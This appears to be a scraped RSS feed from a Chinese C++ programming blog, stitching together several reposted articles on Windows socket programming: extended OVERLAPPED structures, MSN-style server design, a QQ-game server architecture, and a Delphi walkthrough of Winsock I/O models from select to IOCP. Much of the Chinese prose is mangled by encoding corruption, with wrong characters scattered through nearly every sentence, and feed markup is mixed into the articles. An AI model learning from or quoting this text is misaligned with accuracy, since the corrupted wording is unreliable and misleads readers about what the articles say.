  关于重叠IO的知识,误行GOOGLE相关资料。简单地_OVERLAPPED是应用层与核心层交互׃n的数据单元,如果要执行一个重叠IO操作Q必d有OVERLAPPEDl构。在完成端口中,它允许应用层对OVERLAPPEDl构q行扩展和自定义Q允许应用层Ҏ自己的需要在OVERLAPPED的基上Ş成新的扩展OVERLAPPEDl构。一般地Q扩展的OVERLAPPEDl构中,要求攑֜W一个的数据成员是原OVERLAPPEDl构。我们可以Ş如以下方式定义自q扩展OVERLAPPEDl构Q?br>  typedef struct PER_IO_DATA
  {
    OVERLAPPED ovl;
    WSABUF           buf;
    char                    RecvDataBuf[ MAX_BUFFER_SIZE ];   //接收~冲?br>    char                    SendDataBuf[ MAX_BUFFER_SIZE ];   //发送缓冲区
    OpType              opType;                                                       //操作cdQ发送、接收或关闭{?br>  }
  
  在执行WSASend和WSARecv操作Ӟ应用层会扩展OVERLAPPEDl构的地址传给核心Q核心完成相应的操作后,仍然通过原有的这个结构传递操作结果,比如“接收”操作完成后,RecvDataBuf里存放便是此ơ接收下来的数据?br>
  Ҏ各自应用的不同,不同的完成端口设计者可能会设计Z同的PER_HANDLE_DATA
和PER_IO_DATAQ我q里l出的设计也只是针对自己的应用场合的Q不一定就适合你。但我想Q最主要的还是要搞明白PER_HANDLE_DATA和PER_IO_DATA两种l构体的含义、用途,以及调用程?br>

]]>
Windows Sockets 2.0:使用完成端口高性能Q可扩展性Winsock服务E序http://www.shnenglu.com/twzheng/articles/25140.html谭文?/dc:creator>谭文?/author>Wed, 30 May 2007 09:24:00 GMThttp://www.shnenglu.com/twzheng/articles/25140.htmlhttp://www.shnenglu.com/twzheng/comments/25140.htmlhttp://www.shnenglu.com/twzheng/articles/25140.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/25140.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/25140.html阅读全文

]]>
微Ymsn服务器设计思想初步理解http://www.shnenglu.com/twzheng/articles/24929.html谭文?/dc:creator>谭文?/author>Sun, 27 May 2007 04:02:00 GMThttp://www.shnenglu.com/twzheng/articles/24929.htmlhttp://www.shnenglu.com/twzheng/comments/24929.htmlhttp://www.shnenglu.com/twzheng/articles/24929.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/24929.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/24929.html[转]微Ymsn服务器设计思想初步理解
来源不明

׃工作需要,我用了近2个月的时间去了解msn的协议,通过长时间的抓包和试囑֮玎ͼ我将我了解了的msn的服务器端的部分设计思想ȝ如下?br>
        作ؓ服务器设计,比较重要的几个问题是Q?不妥之处Q希望大家修正)

                1.安全?br>
                2.q发服务能力

                3.性能的可U性提?br>


    一、安全?br>
            服务器的安全性包括两部分Q一是服务器本n软硬仉|上的安全性,比如防止pȝ漏洞Q二是服务器和客L通讯协议的安全性设计,防止通过协议本nD密码泄露、服务器被非法攻ȝ?br>
             在协议上Qmsn的密码是通过ssl传送到服务器的Q我对ssl的内部细节不是很了解Q但是显Ӟ密码l过ssl传输q程到服务器端后Q是被明文解出的Q?因此安全性依赖于ssl本n提供。在q方面,我們֐于yahoo的设计,密码不通过自n的明文或者Q何本w的加密后密文传输,而是同服务器q回?session和passwordl合Q进行؜合的不可反向解密的md5密文q行传输。这L加密l果被Q何第三方截获都是没有意义的;因ؓ不可能从q样 的密文中分析出原来的密码?br>
            我认为,传输协议中,密码必须和服务器端协商的一个随机seesionl合Q通过不可恢复的加密方式进行加密,传送到服务器,服务器端也是按照session和passowrdq行同样方式的加密,比较加密l果Q验证用L合法性?br>
             pYgpȝ本n的安全性而言Q我认ؓ量把系l中不需要的软g和其它模块去除,保留服务器系l运行需要的最内核;同时一台服务器应该只提供该服务器需 要提供的服务Q不开多余的网l端口,对telnet方式止Q而用更安全的sshq行q程理?br>


            二、ƈ发服务能?br>
            服务器的q发服务能力是服务器E序设计的一个重要内宏V?br>
            1、在单台服务器上Q服务器软g的性能设计应考虑以下问题Q?br>
                            数据拯

                            内存理

                            U程间的锁控?br>
            数据拯Q?br>
                     通常来说Q避免数据拷贝是个非常头疼的问题。我在^时的工作中,量把缓冲区的指针用范围限定在一定的作用域内Q如果需要在作用域外使用Q我通常会通过 数据拯的方式进行,q样可以避免令h头疼的内存泄露问题,一块内存一旦在多个作用域用或者在分配该内存的作用域之外用时Q很Ҏ搞不清楚何时该释?该内存?br>
                    一个比较好的办法是利用在COM里用的引用计数技术,把该内存的释放时Zl内存自q理;也就是说把内存封装进一个结构体或者类里,本n对自p使用q行理Q一旦发现自己没有h使用了,释放自己?br>
            内存理Q?br>
             内存的处理也是很需要注意的一部分Q频J的new /delete内存会让内存出现大量片Q对服务器Y件的性能也是有不的影响的;通常的做法我们可以一开始申请一个比较大的内存区域,然后自己负责?理,把这块内存划分成很多块Q?4B/ 128B/ 256B)Q然后按照申请内存的需要,分配合适的内存区域。这样可以不用每ơ都到系l申请内存,也把内存泄露的可能性限制在很小的范围内Q内存泄露应该被 解决Q?br>
            另外Q对于一些对象,在我们用完后,可以暂时不把它真正的从内存里释放掉,而是把它挂到一个list上去Q下ơ对于通用的对象,完全可以重用q快内存。这也是减少内存分配ơ数的一个办法。但是这可能会导致用很耗的加解锁?br>
            U程间的锁控Ӟ

            涉及到锁控制的,主要是因为共享问题。共享分ZU:一是代码共享部分;一是数据共享部分。其中做主要的还是数据共享部分。但是没有什么好的解军_法,唯一的办法就是检查这个共享是不是真正必要的,q些数据可不可以分成两部分以形成不是׃n的?br>

        当然Q这部分Y老大做了什么我不清楚?br>

         三、性能的可U性提?br>
           q主要指服务器群l的服务能力可以通过增加服务器的方式U性提高性能。这p求服务器的服务能力分担是均衡的,卛_现良好的负蝲q。新加入的服务器能均衡的被负载^衡服务器分配服务?br>
            当然Q这也设计到服务器集、数据库服务器的集群Q我x个时间专门研I这些问题?br>
            在这斚wQ微软的设计思想很好的体Cq个原则Q能够把负蝲均衡的交l新服务器?br>
            msn 的认证服务器、聊天服务器分开的。即每次聊天Ӟ都需要向认证服务器申请一个聊天服务器地址Q然后在通过认证服务器邀请对方加入到q个聊天服务器,q就 保证了聊天的Z在同一台服务器上,不用再到数据库服务器查找Ҏ的地址Q也避免了头疼的服务器数据同步问题?br>
            如果新加入一个服务器Q那么这太服务器只要在负载^衡服务器注册Q就可以和其他服务器不相q的为客L提供可靠的服务,当然组的服务能力就U性提升了?br>
            写文专ؓ与朋友们交流Q对于内容中不妥之处Q请多多指教Q)


]]>
cM于QQ游戏百万人同时在U的服务器架构实?http://www.shnenglu.com/twzheng/articles/24801.html谭文?/dc:creator>谭文?/author>Thu, 24 May 2007 18:58:00 GMThttp://www.shnenglu.com/twzheng/articles/24801.htmlhttp://www.shnenglu.com/twzheng/comments/24801.htmlhttp://www.shnenglu.com/twzheng/articles/24801.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/24801.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/24801.htmlcM于QQ游戏百万人同时在U的服务器架构实?/span>

本文作者:sodme 本文出处Qhttp://blog.csdn.net/sodme
版权声明Q本文可以不l作者同意Q意{载,但{载时烦请保留文章开始前两行的版权、作者及出处信息?br>
  QQ游戏于前几日l于H破了百万h同时在线的关口,向着更ؓq大的目标迈q,q让其它众多传统的棋牌休闲游戏^台黯然失Ԍ相比之下Q联众似乎已l根本不是QQ的对手,因ؓQQ除了q?00万的游戏在线人数外,它还拥有3亿多的注册量Q当然很多是重复注册的)以及QQ聊天软g900万的同时在线率,我们已经可以预见未来由QQ构徏h的强大棋牌休闲游戏帝国?br>  那么Q在技术上QQQ游戏到底是如何实现百万h同时在线q保持游戏高效率的呢Q?br>  事实上,针对于Q何单一的网l服务器E序Q其可承受的同时q接数目是有理论峰值的Q通过CQ+中对TSocket的定义类型:wordQ我们可以判定这个连接理论峰值是65535Q也是_你的单个服务器程序,最多可以承?万多的用户同时连接。但是,在实际应用中Q能辑ֈ一万h的同时连接ƈ能保证正常的数据交换已经是很不容易了Q通常q个值都?000?000之间Q据说QQ的单台服务器同时q接数目也就是在q个D间?br>  如果要实?000?000用户的单服务器同时在U,是不隄。在windows下,比较成熟的技术是采用IOCPQ-完成端口。与完成端口相关的资料在|上和CSDN论坛里有很多Q感兴趣的朋友可以自己搜索一下。只要运用得当,一个完成端口服务器是完全可以达?K?K的同时在UK的。但Q?Kq样的数值离百万q样的数值实在相差太大了Q所以,百万人的同时在线是单台服务器肯定无法实现的?br>  要实现百万h同时在线Q首先要实现一个比较完善的完成端口服务器模型,q个模型要求臛_可以承蝲2K?K的同时在U率Q当Ӟ如果你MONEY多,你也可以只开发出最多允?00人在U的服务器)。在构徏好了基本的完成端口服务器之后Q就是有x务器l的架构设计了。之所以说q是一个服务器l,是因为它l不仅仅只是一台服务器Q也l不仅仅是只有一U类型的服务器?br>  单地_实现百万人同时在U的服务器模型应该是Q登陆服务器Q大厅服务器Q房间服务器。当Ӟ也可以是其它的模型,但其基本的思想是一L。下面,我将逐一介绍q三cL务器的各自作用?br>  登陆服务器:一般情况下Q我们会向玩家开放若q个公开的登陆服务器Q就如QQ登陆时让你选择的从哪个QQ游戏服务器登陆一PQQ登陆时让玩家选择的六个服务器入口实际上就是登陆服务器。登陆服务器主要完成负蝲q的作用。详l点说就是,在登陆服务器的背后,有N个大厅服务器Q登陆服务器只是用于为当前的客户端连接选择其下一步应该连接到哪个大厅服务器,当登陆服务器为当前的客户端连接选择了一个合适的大厅服务器后Q客L开始根据登陆服务器提供的信息连接到相应的大厅上去,同时客户端断开与登陆服务器的连接,为其他玩家客Lq接登陆服务器腾出套接字资源。在设计登陆服务器时Q至应该有以下功能QN个大厅服务器的每一个大厅服务器都要与所有的登陆服务器保持连接,q实时地把本大厅服务器当前的同时在线人数通知l各个登陆服务器Q这其中包括Q用戯入时的同时在Uh数增加信息以及用户退出时的同时在Uh数减信息。这里的各个大厅服务器同时在UhC息就是登陆服务器为客L选择某个大厅让其登陆的依据。D例来_玩家A通过登陆服务?q接到登陆服务器Q登陆服务器开始ؓ当前玩家在众多的大厅服务器中Ҏ哪一个大厅服务器人数比较来选择一个大厅,同时把这个大厅的q接IP和端口发l客LQ客L收到q个IP和端口信息后Q根据这个信息连接到此大厅,同时Q客L断开与登陆服务器之间的连接,q便是用L陆过E中Q在登陆服务器这一块的处理程?br>  大厅服务器:大厅服务器,是普通玩家看不到的服务器Q它的连接IP和端口信息是登陆服务器通知l客L的。也是_在QQ游戏的本地文件中Q具体的大厅服务器连接IP和端口信息是没有保存的。大厅服务器的主要作用是向玩家发送游戏房间列表信息,q些信息包括Q每个游戏房间的cdQ名Uͼ在线人数Q连接地址以及其它如游戏帮助文件URL的信息。从界面上看的话Q大厅服务器是我们输入用户名和密码q校验通过后进入的游戏戉K列表界面。大厅服务器Q主要有以下功能Q一是向当前玩家q播各个游戏戉K在线人数信息Q二是提供游戏的版本以及下蝲地址信息Q三是提供各个游戏房间服务器的连接IP和端口信息;四是提供游戏帮助的URL信息Q五是提供其它游戏辅助功能。但在这众多的功能中Q有一Ҏ最为核心的Q即Qؓ玩家提供q入具体的游戏房间的通道Q让玩家利q入其欲q入的游戏房间。玩家根据各个游戏房间在Uh敎ͼ判定自己q入哪一个房_然后双击服务器列表中的某个游戏房间后玩家开始进入游戏房间服务器?br>  游戏戉K服务器:游戏戉K服务器,具体地说是?#8220;斗地?”Q?#8220;斗地?”q样的游戏房间。游戏房间服务器才是具体的负责执行游戏相关逻辑的服务器。这L游戏逻辑分ؓ两大c:一cL通用的游戏房间逻辑Q如Q进入房_d戉KQ进入桌子,d桌子以及在房间内说话{;W二cL游戏桌子逻辑Q这个就是各U不同类型游戏的主要区别之处了,比如斗地M的叫C或不叫地ȝ逻辑{,当然Q游戏桌子逻辑里也包括有通用的各个游戏里都存在的游戏逻辑Q比如在桌子内说话等。MQ游戏房间服务器才是真正负责执行游戏具体逻辑的服务器?br>  q里提到的三cL务器Q我均采用的是完成端口模型,每个服务器最多连接数目是5000人,但是Q我在游戏房间服务器上作了逻辑层的限定Q最多只允许300人同时在Uѝ其他两个服务器仍然允许最?000人的同时在线。如果按照这Ll构来设计,那么要实现百万h的同时在U就应该是这P首先是大厅,1000000/5000Q?00。也是_臛_?00台大厅服务器Q但通常情况下,考虑到实际用时服务器的处理能力和负载情况,应该臛_准备250台左右的大厅服务器程序。另外,具体的各U类型的游戏戉K服务器需要多,pҎ当前玩各U类型游戏的玩家数目分别计算了,比如斗地L多是十万人同时在U,每台服务器最多允?00人同时在U,那么需要的斗地L务器数目应该不于Q?00000/300=333Q准备得充分一点,p准备350台斗C服务器?br>  除正常的玩家q接外,q要考虑刎ͼ
  对于登陆服务器,会有250台大厅服务器q接到每个登陆服务器上,q是始终都要保持的连接;
  而对于大厅服务器而言Q如果仅仅有斗地主这一cȝ服务器,p?50多个q接与各个大厅服务器始终保持着。所以从q一点看Q我的结构在某些斚wq存在着需要改q的地方Q但核心思想是:快地提供用L陆的速度Q尽可能方便地让玩家q入游戏中?

]]>
A Reusable Windows Socket Server Class With C++http://www.shnenglu.com/twzheng/articles/SSC.html谭文?/dc:creator>谭文?/author>Tue, 22 May 2007 16:12:00 GMThttp://www.shnenglu.com/twzheng/articles/SSC.htmlhttp://www.shnenglu.com/twzheng/comments/24653.htmlhttp://www.shnenglu.com/twzheng/articles/SSC.html#Feedback0http://www.shnenglu.com/twzheng/comments/commentRss/24653.htmlhttp://www.shnenglu.com/twzheng/services/trackbacks/24653.html阅读全文

]]>
ZSPI的数据报qo原理与实?/title><link>http://www.shnenglu.com/twzheng/articles/24524.html</link><dc:creator>谭文?/dc:creator><author>谭文?/author><pubDate>Mon, 21 May 2007 03:36:00 GMT</pubDate><guid>http://www.shnenglu.com/twzheng/articles/24524.html</guid><wfw:comment>http://www.shnenglu.com/twzheng/comments/24524.html</wfw:comment><comments>http://www.shnenglu.com/twzheng/articles/24524.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/twzheng/comments/commentRss/24524.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/twzheng/services/trackbacks/24524.html</trackback:ping><description><![CDATA[     摘要: ZSPI的数据报qo原理与实C者:TOo2y [摘自] VC 知识?Qhttp://www.vckbase.com/Q一. 个h防火墙技术概qC. Winsock 2 SPI介绍? 相关E序代码分析? 结与后C. 附录之源代码 一、个人防火墙技术概q?nbsp;   随着|络安全问题日益严重Q广大用户对|络安全产品也越来越x。防火墙作ؓ一U网l安全工?..  <a href='http://www.shnenglu.com/twzheng/articles/24524.html'>阅读全文</a><img src ="http://www.shnenglu.com/twzheng/aggbug/24524.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/twzheng/" target="_blank">谭文?/a> 2007-05-21 11:36 <a href="http://www.shnenglu.com/twzheng/articles/24524.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>最通俗显的“IO模式”解?/title><link>http://www.shnenglu.com/twzheng/articles/24508.html</link><dc:creator>谭文?/dc:creator><author>谭文?/author><pubDate>Sun, 20 May 2007 17:46:00 GMT</pubDate><guid>http://www.shnenglu.com/twzheng/articles/24508.html</guid><wfw:comment>http://www.shnenglu.com/twzheng/comments/24508.html</wfw:comment><comments>http://www.shnenglu.com/twzheng/articles/24508.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/twzheng/comments/commentRss/24508.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/twzheng/services/trackbacks/24508.html</trackback:ping><description><![CDATA[<table style="TABLE-LAYOUT: fixed"> <tbody> <tr> <td> <div id="kwuymeo" class=cnt> <div id="o2a4cwu" class=articleTitle><strong>[转] 最通俗显?#8220;IO模式”解析<br></strong>[源] Qhttp://hi.baidu.com/firebird/blog/item/f592b3193a02814542a9adeb.html<br><br> <font size=2>    一Qselect模型<br>    二:WSAAsyncSelect模型<br>    三:WSAEventSelect模型<br>    四:Overlapped I/O 事g通知模型<br>    五:Overlapped I/O 完成例程模型<br>    六:IOCP模型</font><br><br>原文名:《基于Delphi的Socket I/O模型全接?nbsp;?<br>老陈有一个在外地工作的女儿,不能l常回来Q老陈和她通过信g联系。他们的信会被邮递员投递到他们的信里?nbsp; <br><br>q和Socket模型非常cM。下面我׃老陈接收信gZ讲解Socket I/O模型?nbsp; <br><br>一Qselect模型  <br><br>老陈非常想看到女儿的信。以至于他每?0分钟׃楼检查信,看是否有奛_的信Q在q种情况下,“下楼查信?#8221;然后回到g耽误了老陈太多的时_以至于老陈无法做其他工作?nbsp; <br><br>select模型和老陈的这U情况非常相|周而复始地L?.....如果有数?.....接收/发?......  <br><br>使用U程来select应该是通用的做法:  <br><br>procedure TListenThread.Execute;  <br>var  <br>  addr : TSockAddrIn;  <br>  fd_read : TFDSet;  <br>  timeout : TTimeVal;  <br>  ASock,  <br>  MainSock : TSocket;  <br>  len, i : Integer;  <br>begin  <br>  MainSock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );  <br>  addr.sin_family := AF_INET;  <br>  addr.sin_port := htons(5678);  <br>  addr.sin_addr.S_addr := htonl(INADDR_ANY);  <br>  bind( MainSock, @addr, sizeof(addr) );  <br>  listen( MainSock, 5 );  <br><br>  while (not Terminated) do  <br>  begin  <br>   FD_ZERO( fd_read );  <br>   FD_SET( MainSock, fd_read );  <br>   timeout.tv_sec := 0;  <br>   timeout.tv_usec := 500;  <br>   if select( 0, @fd_read, nil, nil, @timeout ) > 0 then //臛_?个等待Accept的connection  <br>   begin  <br>    if FD_ISSET( MainSock, fd_read ) then  <br>    begin  <br>    for i:=0 to fd_read.fd_count-1 do //注意Qfd_count <= 64Q?<br>   也就是说select只能同时理最?4个连?nbsp; <br>    begin  <br>     len := sizeof(addr);  <br>     ASock := accept( MainSock, addr, len );  <br>     if ASock <> INVALID_SOCKET then  <br>      ....//为ASock创徏一个新的线E,在新的线E中再不停地select  <br>     end;  <br>    end;     <br>   end;  <br>  end; //while (not self.Terminated)  <br><br>  shutdown( MainSock, SD_BOTH );  <br>  closesocket( MainSock );  <br>end; <br>  <br><br><br>二:WSAAsyncSelect模型  <br><br>后来Q老陈使用了微软公司的新式信箱。这U信非常先q,一旦信里有新的信Ӟ盖茨׃l老陈打电话:喂,大爷Q你有新的信件了Q从此,老陈再也不必频繁上下楼检查信׃Q牙也不gQ你瞅准了,蓝天......不是Q微?.....  <br><br>微Y提供的WSAAsyncSelect模型是q个意思?nbsp; <br><br>WSAAsyncSelect模型是Windows下最单易用的一USocket I/O模型。用这U模型时QWindows会把|络事g以消息的形势通知应用E序?nbsp; <br><br>首先定义一个消息标C常量:  <br><br>const WM_SOCKET = WM_USER + 55; <br>  <br><br><br>再在主Form的private域添加一个处理此消息的函数声明:  <br><br>private  <br>procedure WMSocket(var Msg: TMessage); message WM_SOCKET; <br>  <br>   <br><br>然后可以用WSAAsyncSelect了:  <br><br>var  <br>  addr : TSockAddr;  <br>  sock : TSocket;  <br><br>  sock := socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );  <br>  addr.sin_family := AF_INET;  <br>  addr.sin_port := htons(5678);  <br>  addr.sin_addr.S_addr := htonl(INADDR_ANY);  <br>  bind( m_sock, @addr, sizeof(SOCKADDR) );  <br><br>  WSAAsyncSelect( m_sock, Handle, WM_SOCKET, FD_ACCEPT or FD_CLOSE );  <br><br>  listen( m_sock, 5 );  <br>  .... <br>  <br><br><br>应用E序可以Ҏ到WM_SOCKET消息q行分析Q判断是哪一个socket产生了网l事件以及事件类型:  <br><br>procedure TfmMain.WMSocket(var Msg: TMessage);  <br>var  <br>  sock : TSocket;  <br>  addr : TSockAddrIn;  <br>  addrlen : Integer;  <br>  buf : Array [0..4095] of Char;  <br>begin  <br>  //Msg的WParam是生了|络事g的socket句柄QLParam则包含了事gcd  <br>  case WSAGetSelectEvent( Msg.LParam ) of  <br>  FD_ACCEPT :  <br>   begin  <br>    addrlen := sizeof(addr);  <br>    sock := accept( Msg.WParam, addr, addrlen );  <br>    if sock <> INVALID_SOCKET then  <br>     WSAAsyncSelect( sock, Handle, WM_SOCKET, FD_READ or FD_WRITE or FD_CLOSE );  <br>   end;  <br><br>   FD_CLOSE : closesocket( Msg.WParam );  <br>   FD_READ : recv( Msg.WParam, buf[0], 4096, 0 );  <br>   FD_WRITE : ;  <br>  end;  <br>end; <br>  <br><br><br>三:WSAEventSelect模型  <br><br>后来Q微软的信箱非常畅销Q购买微软信qZ百万计数......以至于盖茨每?4时l客h电话Q篏得腰酸背痛,喝蚁力神都不好。微软改q了他们的信:在客L家中d一个附加装|,q个装置会监视客L信箱Q每当新的信件来_此装|会发出“C件到?#8221;壎ͼ提醒老陈L信。盖茨终于可以睡觉了?nbsp; <br><br>同样要用线E:  <br><br>procedure TListenThread.Execute;  <br>var  <br>  hEvent : WSAEvent;  <br>  ret : Integer;  <br>  ne : TWSANetworkEvents;  <br>  sock : TSocket;  <br>  adr : TSockAddrIn;  <br>  sMsg : String;  <br>  Index,  <br>  EventTotal : DWORD;  <br>  EventArray : Array [0..WSA_MAXIMUM_WAIT_EVENTS-1] of WSAEVENT;  <br>begin  <br>  ...socket...bind...  <br>  hEvent := WSACreateEvent();  <br>  WSAEventSelect( ListenSock, hEvent, FD_ACCEPT or FD_CLOSE );  <br>  ...listen...  <br><br>  while ( not Terminated ) do  <br>  begin  <br>   Index := WSAWaitForMultipleEvents( EventTotal, @EventArray[0], FALSE,  <br>  WSA_INFINITE, FALSE );  <br>   FillChar( ne, sizeof(ne), 0 );  <br>   WSAEnumNetworkEvents( SockArray[Index-WSA_WAIT_EVENT_0],  <br>    EventArray <br>  [Index-WSA_WAIT_EVENT_0], @ne );  <br><br>   if ( ne.lNetworkEvents and FD_ACCEPT ) > 0 then  <br>   begin  <br>    if ne.iErrorCode[FD_ACCEPT_BIT] <> 0 then  <br>     continue;  <br><br>    ret := sizeof(adr);  <br>    sock := accept( SockArray[Index-WSA_WAIT_EVENT_0], adr, ret );  <br>    if EventTotal > WSA_MAXIMUM_WAIT_EVENTS-1 then <br>      //q里WSA_MAXIMUM_WAIT_EVENTS同样?4  <br>    begin  <br>     closesocket( sock );  <br>     continue;  <br>    end;  <br><br>    hEvent := WSACreateEvent();  <br>    WSAEventSelect( sock, hEvent, FD_READ or FD_WRITE or FD_CLOSE );  <br>    SockArray[EventTotal] := sock;  <br>    EventArray[EventTotal] := hEvent;  <br>    Inc( EventTotal );  <br>   end;  <br><br>   if ( ne.lNetworkEvents and FD_READ ) > 0 then  <br>   begin  <br>    if ne.iErrorCode[FD_READ_BIT] <> 0 then  <br>     continue;  <br>     FillChar( RecvBuf[0], PACK_SIZE_RECEIVE, 0 );  <br>     ret := recv( SockArray[Index-WSA_WAIT_EVENT_0], RecvBuf[0],  <br>    PACK_SIZE_RECEIVE, 0 );  <br>     ......  <br>    end;  <br>   end;  <br>end; <br>  <br><br><br><br>四:Overlapped I/O 事g通知模型  <br><br>后来Q微软通过调查发现Q老陈不喜Ƣ上下楼收发信gQ因Z下楼其实很浪Ҏ间。于是微软再ơ改q他们的信箱。新式的信箱采用了更为先q的技术,只要用户告诉微Y自己的家在几楼几P新式信箱会把信g直接传送到用户的家中,然后告诉用户Q你的信件已l放C的家中了Q老陈很高_因ؓ他不必再亲自收发信g了!  <br><br>Overlapped I/O 事g通知模型和WSAEventSelect模型在实C非常怼Q主要区别在"Overlapped”QOverlapped模型是让应用E序使用重叠数据l构(WSAOVERLAPPED)Q一ơ投递一个或多个Winsock I/Oh。这些提交的h完成后,应用E序会收到通知。什么意思呢Q就是说Q如果你想从socket上接收数据,只需要告诉系l,qlؓ你接收数据,而你需要做的只是ؓpȝ提供一个缓冲区~~~~~  <br><br>ListenU程和WSAEventSelect模型一模一PRecv/SendU程则完全不同:  <br><br>procedure TOverlapThread.Execute;  <br>var  <br>  dwTemp : DWORD;  <br>  ret : Integer;  <br>  Index : DWORD;  <br>begin  <br>  ......  <br><br>  while ( not Terminated ) do  <br>  begin  <br>   Index := WSAWaitForMultipleEvents <br>   ( FLinks.Count, @FLinks.Events[0], FALSE,  <br>    RECV_TIME_OUT, FALSE );  <br>   Dec( Index, WSA_WAIT_EVENT_0 );  <br>   if Index > WSA_MAXIMUM_WAIT_EVENTS-1 then  <br>    //时或者其他错?nbsp; <br>    continue;  <br><br>   WSAResetEvent <br>   ( FLinks.Events[Index] );  <br>   WSAGetOverlappedResult( FLinks.Sockets[Index],  <br>      FLinks.pOverlaps[Index], @dwTemp, FALSE,FLinks. <br>     pdwFlags[Index]^ );  <br><br>   if dwTemp = 0 then //q接已经关闭  <br>   begin  <br>    ......  <br>    continue;  <br>   end else  <br>  begin  <br>   fmMain.ListBox1.Items.Add( FLinks.pBufs[Index]^.buf );  <br>  end;  <br><br>  //初始化缓冲区  <br>  FLinks.pdwFlags[Index]^ := 0;  <br>  FillChar( FLinks.pOverlaps[Index]^,  <br>    sizeof(WSAOVERLAPPED), 0 );  <br>  FLinks.pOverlaps[Index]^. <br>   hEvent := FLinks.Events[Index];  <br>  FillChar( FLinks.pBufs[Index]^.buf^,  <br>   BUFFER_SIZE, 0 );  <br><br>  //递一个接收数据请?nbsp; <br>  WSARecv( FLinks.Sockets[Index], FLinks.pBufs[Index], 1, <br>       FLinks.pdwRecvd[Index]^, FLinks.pdwFlags[Index]^,  <br>      FLinks.pOverlaps[Index], nil );  <br>end;  <br>end; <br>  <br><br><br>五:Overlapped I/O 完成例程模型  <br><br>老陈接收到新的信件后Q一般的E序是:打开信封----掏出信纸----阅读信g----回复信g......Zq一步减ȝ戯担,微Y又开发了一U新的技术:用户只要告诉微Y对信件的操作步骤Q微软信将按照q些步骤d理信Ӟ不再需要用户亲自拆?阅读/回复了!老陈l于q上了小资生z!  <br><br>Overlapped I/O 完成例程要求用户提供一个回调函敎ͼ发生新的|络事g的时候系l将执行q个函数Q?nbsp; <br><br>procedure WorkerRoutine( const dwError, cbTransferred : DWORD;  <br>const  <br>lpOverlapped : LPWSAOVERLAPPED; const dwFlags : DWORD ); stdcall; <br>  <br><br><br>然后告诉pȝ用WorkerRoutine函数处理接收到的数据Q?nbsp; <br><br>WSARecv( m_socket, @FBuf, 1, dwTemp, dwFlag, @m_overlap, WorkerRoutine );  <br>   然后......没有什么然后了Q系l什么都l你做了Q微软真实体_  <br><br>while ( not Terminated ) do//q就是一个Recv/SendU程要做的事?.....什么都不用做啊Q!Q?nbsp; <br>begin  <br>  if SleepEx( RECV_TIME_OUT, True ) = WAIT_IO_COMPLETION then //  <br>  begin  <br>   ;  <br>  end else  <br>  begin  <br>   continue;  <br>  end;  <br>end; <br>  <br><br><br>六:IOCP模型  <br><br>微Y信箱g很完,老陈也很满意。但是在一些大公司情况却完全不同!q些大公司有C万计的信,每秒钟都有数以百计的信g需要处理,以至于微软信q常因负药转而崩溃!需要重新启动!微Y不得不出杀手锏......  <br><br>微Yl每个大公司z了一名名?#8220;Completion Port”的超U机器hQ让q个机器人去处理那些信gQ?nbsp; <br><br>“Windows NT组注意到这些应用程序的性能没有预料的那么高。特别的Q处理很多同时的客户h意味着很多U程q发地运行在pȝ中。因为所有这些线E都是可q行的[没有被挂起和{待发生什么事]QMicrosoft意识到NT内核p了太多的旉来{换运行线E的上下文[Context]Q线E就没有得到很多CPU旉来做它们的工作。大家可能也都感觉到q行模型的瓶颈在于它为每一个客戯求都创徏了一个新U程。创建线E比起创E开销要小Q但也远不是没有开销的。我们不妨设想一下:如果事先开好N个线E,让它们在那hold[堵塞]Q然后可以将所有用Lh都投递到一个消息队列中厅R然后那N个线E逐一从消息队列中d出消息ƈ加以处理。就可以避免针对每一个用戯求都开U程。不仅减了U程的资源,也提高了U程的利用率。理Z很不错,你想我等泛泛之辈都能惛_来的问题QMicrosoft又怎会没有考虑到呢?”-----摘自nonocast的《理解I/O Completion Port?nbsp; <br><br>先看一下IOCP模型的实玎ͼ  <br><br>//创徏一个完成端?nbsp; <br>FCompletPort := CreateIoCompletionPort( INVALID_HANDLE_VALUE, 0,0,0 );  <br><br>//接受q程q接Qƈ把这个连接的socket句柄l定到刚才创建的IOCP?nbsp; <br>AConnect := accept( FListenSock, addr, len);  <br>CreateIoCompletionPort( AConnect, FCompletPort, nil, 0 );  <br><br>//创徏CPU?2 + 2个线E?nbsp; <br>for i:=1 to si.dwNumberOfProcessors*2+2 do  <br>begin  <br>  AThread := TRecvSendThread.Create( false );  <br>  AThread.CompletPort := FCompletPort;//告诉q个U程Q你要去q个IOCP去访问数?nbsp; <br>end; <br>  <br><br><br>p么简单,我们要做的就是徏立一个IOCPQ把q程q接的socket句柄l定到刚才创建的IOCP上,最后创建n个线E,q告诉这n个线E到q个IOCP上去讉K数据可以了?nbsp; <br><br>再看一下TRecvSendThreadU程都干些什么:  <br><br>procedure TRecvSendThread.Execute;  <br>var  <br>  ......  <br>begin  <br>  while (not self.Terminated) do  <br>  begin  <br>   //查询IOCP状态(数据d操作是否完成Q?nbsp; <br>   GetQueuedCompletionStatus( CompletPort, BytesTransd,  <br>    CompletKey, POVERLAPPED(pPerIoDat), TIME_OUT );  <br><br>   if BytesTransd <> 0 then  <br>    ....;//数据d操作完成  <br>    <br>    //再投递一个读数据h  <br>    WSARecv( CompletKey, @(pPerIoDat^.BufData), 1,  <br>    BytesRecv, Flags, @(pPerIoDat^.Overlap), nil );  <br>   end;  <br>end; <br>  <br><br><br>dU程只是单地查IOCP是否完成了我们投递的d操作Q如果完成了则再投递一个新的读写请求?nbsp; <br><br>应该注意刎ͼ我们创徏的所有TRecvSendThread都在讉K同一个IOCPQ因为我们只创徏了一个IOCPQ,q且我们没有使用临界区!N不会产生冲突吗?不用考虑同步问题吗?  